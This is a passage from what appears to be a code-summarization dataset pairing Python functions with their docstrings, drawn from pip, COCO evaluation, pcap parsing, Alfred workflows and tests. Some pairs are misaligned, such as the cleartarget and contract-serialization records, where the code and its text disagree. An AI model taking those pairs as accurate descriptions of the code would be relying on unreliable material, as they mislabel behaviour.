\"DEBUG\"\n\n log_streams = {\n \"stdout\": \"ext://sys.stdout\",\n \"stderr\": \"ext://sys.stderr\",\n }\n handler_classes = {\n \"stream\": \"pip._internal.utils.logging.ColorizedStreamHandler\",\n \"file\": \"pip._internal.utils.logging.BetterRotatingFileHandler\",\n }\n handlers = [\"console\", \"console_errors\", \"console_subprocess\"] + (\n [\"user_log\"] if include_user_log else []\n )\n\n logging.config.dictConfig({\n \"version\": 1,\n \"disable_existing_loggers\": False,\n \"filters\": {\n \"exclude_warnings\": {\n \"()\": \"pip._internal.utils.logging.MaxLevelFilter\",\n \"level\": logging.WARNING,\n },\n \"restrict_to_subprocess\": {\n \"()\": \"logging.Filter\",\n \"name\": subprocess_logger.name,\n },\n \"exclude_subprocess\": {\n \"()\": \"pip._internal.utils.logging.ExcludeLoggerFilter\",\n \"name\": subprocess_logger.name,\n },\n },\n \"formatters\": {\n \"indent\": {\n \"()\": IndentingFormatter,\n \"format\": \"%(message)s\",\n },\n \"indent_with_timestamp\": {\n \"()\": IndentingFormatter,\n \"format\": \"%(message)s\",\n \"add_timestamp\": True,\n },\n },\n \"handlers\": {\n \"console\": {\n \"level\": level,\n \"class\": handler_classes[\"stream\"],\n \"no_color\": no_color,\n \"stream\": log_streams[\"stdout\"],\n \"filters\": [\"exclude_subprocess\", \"exclude_warnings\"],\n \"formatter\": \"indent\",\n },\n \"console_errors\": {\n \"level\": \"WARNING\",\n \"class\": handler_classes[\"stream\"],\n \"no_color\": no_color,\n \"stream\": log_streams[\"stderr\"],\n \"filters\": [\"exclude_subprocess\"],\n \"formatter\": \"indent\",\n },\n \"console_subprocess\": {\n \"level\": level,\n \"class\": handler_classes[\"stream\"],\n \"no_color\": no_color,\n \"stream\": log_streams[\"stderr\"],\n \"filters\": [\"restrict_to_subprocess\"],\n \"formatter\": \"indent\",\n },\n \"user_log\": {\n \"level\": \"DEBUG\",\n \"class\": handler_classes[\"file\"],\n \"filename\": additional_log_file,\n \"delay\": True,\n \"formatter\": \"indent_with_timestamp\",\n },\n },\n \"root\": {\n \"level\": root_level,\n \"handlers\": handlers,\n },\n \"loggers\": {\n \"pip._vendor\": {\n \"level\": vendored_log_level\n }\n },\n })\n\n return level_number", "nl": "Configures and sets up all of the loggingReturns the requested logging level, as its integer value."} {"code": "def topleft_elements_pos(self, elements):\n\n\t\tlx = []\n\t\tly = []\n\t\tfor element in elements:\n\t\t\tx, y = element.get_pos()\n\t\t\tlx.append(x)\n\t\t\tly.append(y)\n\t\treturn min(lx), min(ly)\n", "nl": "desc:Gets the top-left position of a set of elements.arguments:elements:desc:\tA list of elements.type:\tlistreturns:desc:\t\tAn (x,y) tuple with the top-left position.type:\t\ttuple."} {"code": "def set_client_key(self, public_key: ResponderPublicSessionKey) -> None:\n self._client_key = public_key\n self._box = MessageBox(libnacl.public.Box(self.server_key, public_key))\n self.log.debug('Client key updated')\n", "nl": "Set the public key of the client and update the internal box.Arguments:- `public_key`: A :class:`libnacl.public.PublicKey`."} {"code": "def evaluate(self):\n p = self.params\n if p.useSegm is not None:\n p.iouType = 'segm' if p.useSegm == 1 else 'bbox'\n print('useSegm (deprecated) is not None. Running {} evaluation'.format(p.iouType))\n p.imgIds = list(np.unique(p.imgIds))\n if p.useCats:\n p.catIds = list(np.unique(p.catIds))\n p.maxDets = sorted(p.maxDets)\n self.params = p\n\n self._prepare()\n catIds = p.catIds if p.useCats else [-1]\n\n if p.iouType == 'segm' or p.iouType == 'bbox':\n computeIoU = self.computeIoU\n elif p.iouType == 'keypoints':\n computeIoU = self.computeOks\n self.ious = {\n (imgId, catId): computeIoU(imgId, catId)\n for imgId in p.imgIds\n for catId in catIds}\n\n evaluateImg = self.evaluateImg\n maxDet = p.maxDets[-1]\n evalImgs = [\n evaluateImg(imgId, catId, areaRng, maxDet)\n for catId in catIds\n for areaRng in p.areaRng\n for imgId in p.imgIds\n ]\n evalImgs = np.asarray(evalImgs).reshape(len(catIds), len(p.areaRng), len(p.imgIds))\n self._paramsEval = copy.deepcopy(self.params)\n return p.imgIds, evalImgs\n", "nl": "Run per image evaluation on given images and store results (a list of dict) in self.evalImgs:return: None"} {"code": "def setAutoVisible(self, x=None, y=None):\n if x is not None:\n self.state['autoVisibleOnly'][0] = x\n if x is True:\n self.state['autoVisibleOnly'][1] = False\n if y is not None:\n self.state['autoVisibleOnly'][1] = y\n if y is True:\n self.state['autoVisibleOnly'][0] = False\n\n if x is not None or y is not None:\n self.updateAutoRange()\n", "nl": "Set whether automatic range uses only visible data when determiningthe range to show."} {"code": "def size(self):\n result = self.grouper.size()\n\n if isinstance(self.obj, Series):\n result.name = self.obj.name\n return self._reindex_output(result, fill_value=0)\n\n @classmethod", "nl": "Compute group sizes.Returns-------SeriesNumber of rows in each group."} {"code": "def dataforsize(self, size):\n dct = {}\n for code, reader in self.SIZES[size]:\n desc = self.dct.get(code)\n if desc is not None:\n dct.update(reader(self.fobj, desc, size))\n return dct\n", "nl": "Get an icon resource as {channel: array}. Note thatthe arrays are bottom-up like windows bitmaps and will likelyneed to be flipped or transposed in some way."} {"code": "def read_packet(self, size=MTU):\n hdr = self.f.read(16)\n if len(hdr) < 16:\n return None\n sec,usec,caplen,wirelen = struct.unpack(self.endian+\"IIII\", hdr)\n s = self.f.read(caplen)[:MTU]\n return s, 0, (sec,usec,wirelen)\n\n\nclass PcapReader(RawPcapReader):", "nl": "return a single packet read from the filebytes, (sec, #timestamp secondsusec, #timestamp microsecondswirelen) #actual length of packetreturns None when no more packets are available"} {"code": "def store_data(self, name, data, serializer=None):\n\n serializer_name = serializer or self.data_serializer\n\n metadata_path = self.datafile('.{}.alfred-workflow'.format(name))\n filename = '{}.{}'.format(name, serializer_name)\n data_path = self.datafile(filename)\n\n if data_path == self.settings_path:\n raise ValueError(\n 'Cannot save data to' +\n '`{}` with format `{}`. '.format(name, serializer_name) +\n \"This would overwrite Alfred-Workflow's settings file.\")\n\n serializer = manager.serializer(serializer_name)\n\n if serializer is None:\n raise ValueError(\n 'Invalid serializer `{}`. Register your serializer with '\n '`manager.register()` first.'.format(serializer_name))\n\n if data is None:\n for path in (metadata_path, data_path):\n if os.path.exists(path):\n os.unlink(path)\n self.logger.debug('Deleted data file : {}'.format(path))\n\n return\n\n with open(metadata_path, 'wb') as file_obj:\n file_obj.write(serializer_name)\n\n with open(data_path, 'wb') as file_obj:\n serializer.dump(data, file_obj)\n\n self.logger.debug('Stored data saved at : {}'.format(data_path))\n", "nl": "Save data to data directory... versionadded:: 1.8If ``data`` is ``None``, the datastore will be deleted.:param name: name of datastore:param data: object(s) to store. **Note:** some serializerscan only handled certain types of data.:param serializer: name of serializer to use. If no serializeris specified, the default will be used. See:class:`SerializerManager` for more information.:returns: data in datastore or ``None``"} {"code": "def getOrders():\n orders = {}\n for orderType in (ALL_ORDER_TYPES):\n allOrders = pyautogui.locateAllOnScreen(imPath('%s_order.png' % orderType), region=(GAME_REGION[0] + 32, GAME_REGION[1] + 46, 558, 44))\n for order in allOrders:\n orders[order] = orderType\n return orders\n\n", "nl": "Scans the screen for orders being made. Returns a dictionary with a (left, top, width, height) tuple of integers for keys and the order constant for a value.The order constants are ONIGIRI, GUNKAN_MAKI, CALIFORNIA_ROLL, SALMON_ROLL, SHRIMP_SUSHI, UNAGI_ROLL, DRAGON_ROLL, COMBO."} {"code": "def cleartarget(self, widget):\n cmd = None\n if command:\n cmd = self._tkroot._register(command)\n if arguments:\n cmd = '{%s %s}' % (cmd, ' '.join(arguments))\n return cmd\n", "nl": "Unregister widget as drop target.self._tkroot.tk.call('dnd', 'cleartarget', widget)def _generate_callback(self, command, arguments):Register command as tk callback with an optional list of arguments."} {"code": "def centralLayout(self):\n return self._centralLayout\n", "nl": "Layout of the central widget. Contains Workspace and search widget"} {"code": "def addParseAction( self, *fns, **kwargs ):\n self.parseAction += list(map(_trim_arity, list(fns)))\n self.callDuringTry = self.callDuringTry or kwargs.get(\"callDuringTry\", False)\n return self\n", "nl": "Add one or more parse actions to expression's list of parse actions. See L{I{setParseAction}}.See examples in L{I{copy}}."} {"code": "def subscribe(requestor, service, nodeIdentifier, subscriber):\n", "nl": "Called when a subscribe request has been received.@param requestor: The entity the request originated from.@type requestor: L{JID}@param service: The entity the request was addressed to.@type service: L{JID}@param nodeIdentifier: The identifier of the node to subscribe to.@type nodeIdentifier: C{unicode}@param subscriber: The entity to be subscribed.@type subscriber: L{JID}@return: A deferred that fires with aL{Subscription}.@rtype: L{Deferred}"} {"code": "def test_get_raw_transaction_serialization():\n kwargs_arg = ContractApiMessage.Kwargs({\"key_1\": 1, \"key_2\": 2})\n msg = ContractApiMessage(\n message_id=1,\n dialogue_reference=(str(0), \"\"),\n target=0,\n performative=ContractApiMessage.Performative.GET_RAW_MESSAGE,\n ledger_id=\"some_ledger_id\",\n contract_id=\"some_contract_id\",\n contract_address=\"some_contract_address\",\n callable=\"some_callable\",\n kwargs=kwargs_arg,\n )\n msg.to = \"receiver\"\n envelope = Envelope(to=msg.to, sender=\"sender\", message=msg,)\n envelope_bytes = envelope.encode()\n\n actual_envelope = Envelope.decode(envelope_bytes)\n expected_envelope = envelope\n assert expected_envelope.to == actual_envelope.to\n assert expected_envelope.sender == actual_envelope.sender\n assert (\n expected_envelope.protocol_specification_id\n == actual_envelope.protocol_specification_id\n )\n assert expected_envelope.message != actual_envelope.message\n\n actual_msg = ContractApiMessage.serializer.decode(actual_envelope.message)\n actual_msg.to = actual_envelope.to\n actual_msg.sender = actual_envelope.sender\n expected_msg = msg\n assert expected_msg == actual_msg\n\n", "nl": "Test the serialization for 'get_raw_transaction' speech-act works.kwargs_arg = ContractApiMessage.Kwargs({\"key_1\": 1, \"key_2\": 2})msg = ContractApiMessage(message_id=1,dialogue_reference=(str(0), \"\"),target=0,performative=ContractApiMessage.Performative.GET_RAW_TRANSACTION,ledger_id=\"some_ledger_id\",contract_id=\"some_contract_id\",contract_address=\"some_contract_address\",callable=\"some_callable\",kwargs=kwargs_arg,)msg.to = \"receiver\"envelope = Envelope(to=msg.to, sender=\"sender\", message=msg,)envelope_bytes = envelope.encode()actual_envelope = Envelope.decode(envelope_bytes)expected_envelope = envelopeassert expected_envelope.to == actual_envelope.toassert expected_envelope.sender == actual_envelope.senderassert (expected_envelope.protocol_specification_id== actual_envelope.protocol_specification_id)assert expected_envelope.message != actual_envelope.messageactual_msg = ContractApiMessage.serializer.decode(actual_envelope.message)actual_msg.to = actual_envelope.toactual_msg.sender = actual_envelope.senderexpected_msg = msgassert expected_msg == actual_msgdef test_get_raw_message_serialization():Test the serialization for 'get_raw_message' speech-act works."} {"code": "def can_build_unit(self):\n return self.can_act()\n", "nl": ":return:"} {"code": "def compute_global_norm(curr_state, prev_state, d_loss):\n norm = d_loss * d_loss if d_loss is not None else 0\n\n for name, curr_param in curr_state.items():\n if not curr_param.requires_grad:\n continue\n\n curr_param = curr_param.detach()\n prev_param = prev_state[name].detach()\n param_delta = curr_param.data.view(-1) - prev_param.data.view(-1)\n norm += torch.dot(param_delta, param_delta)\n norm = norm.sqrt()\n return norm", "nl": "Compute the norm of the line segment between current parameters and previous parameters.Arguments:curr_state (OrderedDict): the state dict at current iteration.prev_state (OrderedDict): the state dict at previous iteration.d_loss (torch.Tensor, float): the loss delta between current at previous iteration (optional)."} {"code": "def approximateArc(arc, endWith):", "nl": "Take DRAWINGITEM and approximate it using lines"} {"code": "def _unique_channel_name(self, fid, name, dg, cg, cn):\n if name in self['ChannelNamesByDG'][dg]:\n if self['CN'][dg][cg][cn]['cn_si_source']:\n temp = SIBlock()\n temp.read_si(fid, self['CN'][dg][cg][cn]['cn_si_source'])\n if temp['si_tx_name'] > 0:\n source_name = temp['source_name']['Comment']\n else:\n source_name = cn\n else:\n source_name = cn\n name = u'{0}_{1}_{2}_{3}'.format(name, dg, cg, source_name)\n elif name in self['allChannelList']:\n if self['CN'][dg][cg][cn]['cn_si_source']:\n temp = SIBlock()\n temp.read_si(fid, self['CN'][dg][cg][cn]['cn_si_source'])\n if temp['si_tx_name'] > 0:\n source_name = temp['source_name']['Comment']\n else:\n source_name = dg\n else:\n source_name = dg\n name = u'{0}_{1}_{2}'.format(name, dg, source_name)\n self['ChannelNamesByDG'][dg].add(name)\n self['allChannelList'].add(name)\n\n if self['CG'][dg][cg]['link_count'] > 6:\n try:\n self['masters'][self['CG'][dg][cg]['cg_cg_master']]['channels'].add(name)\n except KeyError:\n self['masters'][self['CG'][dg][cg]['cg_cg_master']] = dict()\n self['masters'][self['CG'][dg][cg]['cg_cg_master']]['channels'] = set()\n self['masters'][self['CG'][dg][cg]['cg_cg_master']]['name'] = 'master_{}'.format(dg)\n self['CN'][dg][cg][cn]['masterCG'] = self['CG'][dg][cg]['cg_cg_master']\n else:\n try:\n self['masters'][self['CG'][dg][cg]['pointer']]['channels'].add(name)\n except KeyError:\n self['masters'][self['CG'][dg][cg]['pointer']] = dict()\n self['masters'][self['CG'][dg][cg]['pointer']]['channels'] = set()\n self['masters'][self['CG'][dg][cg]['pointer']]['name'] = 'master_{}'.format(dg)\n if self['CN'][dg][cg][cn]['cn_type'] in (2, 3):\n self['masters'][self['CG'][dg][cg]['pointer']]['name'] = name\n self['masters'][self['CG'][dg][cg]['pointer']]['id'] = (dg, cg)\n self['CN'][dg][cg][cn]['masterCG'] = self['CG'][dg][cg]['pointer']\n return name\n", "nl": " generate unique channel nameParameters----------------fidfile identifiername: strchannel name to be checkeddg : intdata group numbercg: intchannel group numbercn : intchannel number numberReturns-----------channel name made unique"} {"code": "def download_file(asset_info, interactive=False, force=False):\n file_ok = False\n problems_ignored = False\n had_to_download = False\n sha1 = None\n\n url = asset_info['url']\n sha1_url = asset_info['sha1_url']\n destination = asset_info['destination']\n title = asset_info['title']\n\n if sha1_url is not None:\n try:\n LOG.info(\"Verifying expected SHA1 sum from %s\", sha1_url)\n sha1_file = urllib.request.urlopen(sha1_url)\n sha1_contents = astring.to_text(sha1_file.read())\n sha1 = sha1_contents.split(\" \")[0]\n LOG.info(\"Expected SHA1 sum: %s\", sha1)\n except Exception as e:\n LOG.error(\"Failed to get SHA1 from file: %s\", e)\n else:\n sha1 = None\n\n destination_dir = os.path.dirname(destination)\n if not os.path.isdir(destination_dir):\n os.makedirs(destination_dir)\n\n if not os.path.isfile(destination):\n LOG.warning(\"File %s not found\", destination)\n if interactive:\n answer = genio.ask(\"Would you like to download it from %s?\" % url)\n else:\n answer = 'y'\n if answer == 'y':\n try:\n download.url_download_interactive(url, destination,\n \"Downloading %s\" % title)\n had_to_download = True\n except Exception as download_failure:\n LOG.error(\"Check your internet connection: %s\",\n download_failure)\n else:\n LOG.warning(\"Missing file %s\", destination)\n else:\n LOG.info(\"Found %s\", destination)\n if sha1 is None:\n answer = 'n'\n else:\n answer = 'y'\n\n if answer == 'y':\n actual_sha1 = crypto.hash_file(destination, algorithm='sha1')\n if actual_sha1 != sha1:\n LOG.info(\"Actual SHA1 sum: %s\", actual_sha1)\n if interactive:\n answer = genio.ask(\"The file seems corrupted or outdated. \"\n \"Would you like to download it?\")\n else:\n LOG.info(\"The file seems corrupted or outdated\")\n answer = 'y'\n if answer == 'y':\n LOG.info(\"Updating image to the latest available...\")\n while not file_ok:\n try:\n download.url_download_interactive(url, destination,\n title)\n except Exception as download_failure:\n LOG.error(\"Check your internet connection: %s\",\n download_failure)\n sha1_post_download = crypto.hash_file(destination,\n algorithm='sha1')\n had_to_download = True\n if sha1_post_download != sha1:\n LOG.error(\"Actual SHA1 sum: %s\", actual_sha1)\n if interactive:\n answer = genio.ask(\"The file downloaded %s is \"\n \"corrupted. Would you like \"\n \"to try again?\" %\n destination)\n else:\n answer = 'n'\n if answer == 'n':\n problems_ignored = True\n LOG.error(\"File %s is corrupted\" % destination)\n file_ok = True\n else:\n file_ok = False\n else:\n file_ok = True\n else:\n file_ok = True\n LOG.info(\"SHA1 sum check OK\")\n else:\n problems_ignored = True\n LOG.info(\"File %s present, but did not verify integrity\",\n destination)\n\n if file_ok:\n if not problems_ignored:\n LOG.info(\"%s present, with proper checksum\", destination)\n\n uncompress_asset(asset_info=asset_info, force=force or had_to_download)\n\n", "nl": "Verifies if file that can be find on url is on destination with right hash.This function will verify the SHA1 hash of the file. If the fileappears to be missing or corrupted, let the user know.:param asset_info: Dictionary returned by get_asset_info"} {"code": "def test_ppsd_add_npz(self, state):\n ppsd = PPSD(stats=Stats(dict(sampling_rate=150)), metadata=None,\n db_bins=(-200, -50, 20.), period_step_octaves=1.4)\n _times_processed = np.load(\n os.path.join(state.path, \"ppsd_times_processed.npy\")).tolist()\n _times_processed = [UTCDateTime(t)._ns for t in _times_processed]\n np.random.seed(1234)\n _binned_psds = [\n arr for arr in np.random.uniform(\n -200, -50,\n (len(_times_processed), len(ppsd.period_bin_centers)))]\n\n with NamedTemporaryFile(suffix=\".npz\") as tf1, \\\n NamedTemporaryFile(suffix=\".npz\") as tf2, \\\n NamedTemporaryFile(suffix=\".npz\") as tf3:\n ppsd._times_processed = _times_processed[:200]\n ppsd._binned_psds = _binned_psds[:200]\n ppsd.save_npz(tf1.name)\n ppsd._times_processed = _times_processed[200:400]\n ppsd._binned_psds = _binned_psds[200:400]\n ppsd.save_npz(tf2.name)\n ppsd._times_processed = _times_processed[400:]\n ppsd._binned_psds = _binned_psds[400:]\n ppsd.matplotlib_version = \"X.X.X\"\n ppsd.save_npz(tf3.name)\n ppsd = PPSD.load_npz(tf1.name, metadata=None)\n ppsd.add_npz(tf2.name)\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter('always')\n ppsd.add_npz(tf3.name)\n assert len(w) == 1\n np.testing.assert_array_equal(_binned_psds, ppsd._binned_psds)\n np.testing.assert_array_equal(_times_processed,\n ppsd._times_processed)\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter('always')\n ppsd.add_npz(tf2.name)\n assert len(w) == 1\n np.testing.assert_array_equal(_binned_psds, ppsd._binned_psds)\n np.testing.assert_array_equal(_times_processed,\n ppsd._times_processed)\n", "nl": "Test PPSD.add_npz()."} {"code": "def test_overflowIpv4(self):\n testValue = b'TEST DATA\\r\\n\\r\\nTEST DATA'\n header = _makeHeaderIPv4() + testValue\n parser = _v2parser.V2Parser()\n info, overflow = parser.feed(header)\n self.assertTrue(info)\n self.assertEqual(overflow, testValue)\n\n", "nl": "Test that overflow bits are preserved during feed parsing for IPv4."} {"code": "def tg_min(tas: xarray.DataArray, freq: str = \"YS\") -> xarray.DataArray:\n return tas.resample(time=freq).min(dim=\"time\").assign_attrs(units=tas.units)\n\n\n@declare_units(tasmin=\"[temperature]\")", "nl": "rLowest mean temperature.Minimum of daily mean temperature.Parameters----------tas : xarray.DataArrayMean daily temperature.freq : strResampling frequency.Returns-------xarray.DataArray, [same units as tas]Minimum of daily minimum temperature.Notes-----Let :math:`TG_{ij}` be the mean temperature at day :math:`i` of period :math:`j`. Then the minimumdaily mean temperature for period :math:`j` is:.. math::TGn_j = min(TG_{ij})"} {"code": "def get_delta(self, old_buf, new_buf):\n delta1 = self.out.append(\"delta1\")\n fout = delta1.open(\"wb\")\n fout.write(self.get_delta(\"hello, world!\",\n \"aonseuth aosetnuhaonsuhtansoetuhaoe\"))\n assert not fout.close()\n delta1.chmod(0o640)\n delta1.difftype = \"diff\"\n return delta1\n", "nl": "Return delta buffer from old to newsigfile = librsync.SigFile(cStringIO.StringIO(old_buf))sig = sigfile.read()assert not sigfile.close()deltafile = librsync.DeltaFile(sig, cStringIO.StringIO(new_buf))deltabuf = deltafile.read()assert not deltafile.close()return deltabufdef delta1(self):Make a delta ROPath, permissions 0o640"} {"code": "def test_read_with_fsize(self):\n longer_file = os.path.join(self.path, 'data', 'seism-longer.sac')\n shorter_file = os.path.join(self.path, 'data', 'seism-shorter.sac')", "nl": "Testing fsize option on read()"} {"code": "def __delitem__(self, key):\n\n if self.children is None:\n self._parse_children()\n\n if not isinstance(key, int_types):\n if key not in self._field_map:\n raise KeyError(unwrap(\n '''", "nl": "Allows deleting optional or default fields by name or index:param key:A unicode string of the field name, or an integer of the field index:raises:ValueError - when a field name or index is invalid, or the field is not optional or defaulted"} {"code": "def xcptGetMessage(self, oXcpt=None):\n if oXcpt is None:\n oXcpt = sys.exc_info()[1]\n sRet = self.platform.xcptGetMessage(oXcpt)\n if sRet is None:\n sRet = self.xcptToString(oXcpt)\n return sRet\n\n errGetStatus = xcptGetStatus\n errIsDeadInterface = xcptIsDeadInterface\n errIsOurXcptKind = xcptIsOurXcptKind\n errGetMessage = xcptGetMessage\n", "nl": "Returns the best error message found in the COM-like exception. If theexception parameter isn't specified, the current exception is examined."} {"code": "def loadDataFull(self, virtualfn, appends):\n logger.debug(\"Parsing %s (full)\" % virtualfn)\n (fn, virtual, mc) = virtualfn2realfn(virtualfn)\n bb_data = self.load_bbfile(virtualfn, appends, virtonly=True)\n return bb_data[virtual]\n", "nl": "Return a complete set of data for fn.To do this, we need to parse the file."} {"code": "def test_center_exclude_arg_should_filter_excluded_centers(MockDoctolibDE, tmp_path):\n mock_doctolib_de = get_mocked_doctolib(MockDoctolibDE)\n\n excluded_center = 'Doktor'\n city = 'koln'\n call_application(city, cli_args=['--center-exclude', excluded_center])\n\n assert mock_doctolib_de.get_patients.called\n assert mock_doctolib_de.try_to_book.called\n for call_args_list in mock_doctolib_de.try_to_book.call_args_list:\n assert call_args_list.args[0]['name_with_title'] != excluded_center\n assert call_args_list.args[0]['city'] == city\n\n", "nl": "Check that booking is performed in correct city"} {"code": "def debian_report(targets, tables, report: Path):\n print(\"> Print report\")\n\n with report.open(\"w\") as fptr:\n fptr.write(\"\n\n with report.open(\"a\") as fptr:\n for version, assets in tables.items():\n print(\" - %s: generate table\" % version)\n hosts = list(assets.keys())\n hosts.sort()\n ROWS = [([tgt] + [\"ok\" if tgt in assets[h] else \"!\" for h in hosts]) for tgt in targets]\n\n print(\" - %s: write table\" % version)\n fptr.write(\n tabulate(\n ROWS,\n headers=[version] + hosts,\n stralign=\"center\",\n tablefmt=\"github\",\n )\n )\n fptr.write(\"\\n\\n---\\n\\n\")", "nl": "Print data about releases/assets as a markdown report."} {"code": "def size_all_requests(self):\n return self.size + len(self._preprocessing_requests) + len(self._postprocessing_requests)", "nl": " Returns the number of requests being fuzzed plus the numberof requests used for pre and post-processing stages@return: The total number of requests@rtype : Int"} {"code": "def test_group_level(self):\n actual = self.view006(group_level=1)['rows']\n expected = [{'key': ['julia'], 'value': 100}]\n self.assertEqual(actual, expected)\n", "nl": "Test view query using group_level parameter.The view used here along with group_level=1 will generate rows of datathat calculate the count for a grouping of the first element in thecomplex key defined by this view. In this case the output will yield asingle row of data for the key ['julia']. Such as:{'key': ['julia'], 'value': 100}"} {"code": "def _setup_arguments_on_columns(self):\n for prop in self.props:\n prop.active_history = self.active_history", "nl": "Propagate configuration arguments made on this compositeto the target columns, for those that apply."} {"code": "def scan(self):\n\t\tnode = self.inputs[0]\n\n\t\tnodes = []\n\t\tnames = []\n\t\tseen = []\n\t\tif not node:\n\t\t\treturn (nodes, names)\n", "nl": "Recursive regex-based scanner that finds latex dependencies. It uses :py:attr:`waflib.Tools.tex.re_tex`Depending on your needs you might want:* to change re_tex::from waflib.Tools import textex.re_tex = myregex* or to change the method scan from the latex tasks::from waflib.Task import classesclasses['latex'].scan = myscanfunction"} {"code": "def token(empty_token):\n return start_time + 4 * 7 * 24 * 3600\n\n\n@pytest.fixture", "nl": "Get a token with 0 initial issuance.return empty_token@pytest.fixturedef start_time(web3) -> int:# 1 day ahead from nowreturn web3.eth.getBlock('pending').timestamp + 24 * 60 * 60@pytest.fixturedef end_time(start_time) -> int:Run 4 weeks."} {"code": "def kyc_crowdsale(chain, team_multisig, preico_starts_at, preico_ends_at, pricing, preico_cap, preico_funding_goal, preico_token_allocation, kyc_token, signer_address, default_finalize_agent, initial_supply) -> Contract:\n return accounts[1]\n\n\n@pytest.fixture", "nl": "Create a Pre-ICO crowdsale contract.token = kyc_tokenargs = [token.address,pricing.address,team_multisig,preico_starts_at,preico_ends_at,preico_funding_goal,team_multisig]tx = {\"from\": team_multisig,}contract, hash = chain.provider.deploy_contract('KYCCrowdsale', deploy_args=args, deploy_transaction=tx)args = [contract.address]finalizer_contract, hash = chain.provider.deploy_contract('NullFinalizeAgent', deploy_args=args)contract.functions.setFinalizeAgent(finalizer_contract.address).transact({\"from\": team_multisig})assert contract.functions.owner().call() == team_multisigassert not token.functions.released().call()# Allow the token sale contract to distribute unreleased tokens# token.transact({\"from\": team_multisig}).setTransferAgent(contract.address, True)token.functions.setTransferAgent(team_multisig, True).transact({\"from\": team_multisig})token.functions.approve(contract.address, initial_supply).transact({\"from\": team_multisig})token.functions.setReleaseAgent(team_multisig).transact({\"from\": team_multisig})contract.functions.setSignerAddress(signer_address).transact({\"from\": team_multisig})return contract@pytest.fixturedef customer(accounts) -> str:Get a customer address."} {"code": "def issueChannelToken(self, channelId):\n self.send_issueChannelToken(channelId)\n return self.recv_issueChannelToken()\n", "nl": "Parameters:- channelId"} {"code": "def __init__(self, axis, value_ndims, **kwargs):\n if is_integer(axis):\n axis = int(axis)\n else:\n axis = tuple(int(a) for a in axis)\n if not axis:\n raise ValueError('`axis` must not be empty.')\n\n if 'x_value_ndims' in kwargs or 'y_value_ndims' in kwargs:\n raise ValueError('Specifying `x_value_ndims` or `y_value_ndims` '\n 'for a `FeatureMappingFlow` is not allowed.')\n value_ndims = int(value_ndims)\n\n super(FeatureMappingFlow, self).__init__(\n x_value_ndims=value_ndims, y_value_ndims=value_ndims, **kwargs)\n self._axis = axis\n\n @property", "nl": "Construct a new :class:`FeatureMappingFlow`.Args:axis (int or Iterable[int]): The feature axis/axes, on which toapply the transformation.value_ndims (int): Number of value dimensions in both `x` and `y`.`x.ndims - value_ndims == log_det.ndims` and`y.ndims - value_ndims == log_det.ndims`.\\\\**kwargs: Other named arguments passed to :class:`BaseFlow`."} {"code": "def help_for(self, flag):\n if flag not in self.flags:\n err = \"{!r} is not a valid flag for this context! Valid flags are: {!r}\"\n raise ValueError(err.format(flag, self.flags.keys()))\n arg = self.flags[flag]\n value = {str: \"STRING\", int: \"INT\"}.get(arg.kind)\n full_names = []\n for name in self.names_for(flag):\n if value:\n if len(name.strip(\"-\")) == 1:\n value_ = (\"[{}]\".format(value)) if arg.optional else value\n valuestr = \" {}\".format(value_)\n else:\n valuestr = \"={}\".format(value)\n if arg.optional:\n valuestr = \"[{}]\".format(valuestr)\n else:\n if name in self.inverse_flags.values():\n name = \"--[no-]{}\".format(name[2:])\n\n valuestr = \"\"\n full_names.append(name + valuestr)\n namestr = \", \".join(sorted(full_names, key=len))\n helpstr = arg.help or \"\"\n return namestr, helpstr\n", "nl": "Return 2-tuple of ``(flag-spec, help-string)`` for given ``flag``... versionadded:: 1.0"} {"code": "def postprocess_rpn_proposals(self, rpn_bbox_pred, rpn_cls_prob, img_shape, anchors, is_training):\n\n if is_training:\n pre_nms_topN = self.cfgs.RPN_TOP_K_NMS_TRAIN\n post_nms_topN = self.cfgs.RPN_MAXIMUM_PROPOSAL_TARIN\n else:\n pre_nms_topN = self.cfgs.RPN_TOP_K_NMS_TEST\n post_nms_topN = self.cfgs.RPN_MAXIMUM_PROPOSAL_TEST\n\n nms_thresh = self.cfgs.RPN_NMS_IOU_THRESHOLD\n\n cls_prob = rpn_cls_prob[:, 1]\n\n decode_boxes = bbox_transform.bbox_transform_inv(boxes=anchors, deltas=rpn_bbox_pred,\n scale_factors=self.cfgs.ANCHOR_SCALE_FACTORS)\n\n decode_boxes = clip_boxes_to_img_boundaries(decode_boxes=decode_boxes,\n img_shape=img_shape)\n\n if pre_nms_topN > 0:\n pre_nms_topN = tf.minimum(pre_nms_topN, tf.shape(decode_boxes)[0], name='avoid_unenough_boxes')\n cls_prob, top_k_indices = tf.nn.top_k(cls_prob, k=pre_nms_topN)\n decode_boxes = tf.gather(decode_boxes, top_k_indices)\n\n keep = tf.image.non_max_suppression(\n boxes=decode_boxes,\n scores=cls_prob,\n max_output_size=post_nms_topN,\n iou_threshold=nms_thresh)\n\n final_boxes = tf.gather(decode_boxes, keep)\n final_probs = tf.gather(cls_prob, keep)\n\n return final_boxes, final_probs\n", "nl": ":param rpn_bbox_pred: [-1, 4]:param rpn_cls_prob: [-1, 2]:param img_shape::param anchors:[-1, 4]:param is_training::return:"} {"code": "def os_release_attr(attribute):\n return _distro.os_release_attr(attribute)\n\n", "nl": "Return a single named information item from the os-release file data sourceof the current Linux distribution.Parameters:* ``attribute`` (string): Key of the information item.Returns:* (string): Value of the information item, if the item exists.The empty string, if the item does not exist.See `os-release file`_ for details about these information items."} {"code": "def add_conv(self, *, patch_size, in_depth, out_depth, activation='relu', pooling=False, name):\n self.conv_config.append({\n 'patch_size': patch_size,\n 'in_depth': in_depth,\n 'out_depth': out_depth,\n 'activation': activation,\n 'pooling': pooling,\n 'name': name\n })\n with tf.name_scope(name):\n weights = tf.Variable(\n tf.truncated_normal([patch_size, patch_size, in_depth, out_depth], stddev=0.1), name=name + '_weights')\n biases = tf.Variable(tf.constant(0.1, shape=[out_depth]), name=name + '_biases')\n self.conv_weights.append(weights)\n self.conv_biases.append(biases)\n", "nl": "This function does not define operations in the graph, but only store config in self.conv_layer_config"} {"code": "def in_qtconsole():\n try:\n ip = get_ipython()\n front_end = (\n ip.config.get('KernelApp', {}).get('parent_appname', \"\") or\n ip.config.get('IPKernelApp', {}).get('parent_appname', \"\"))\n if 'qtconsole' in front_end.lower():\n return True\n except NameError:\n return False\n return False\n\n", "nl": "check if we're inside an IPython qtconsole.. deprecated:: 0.14.1This is no longer needed, or working, in IPython 3 and above."} {"code": "def send_mfa_code_text_message(mfa_instance, mfa_code):\n\n sid = 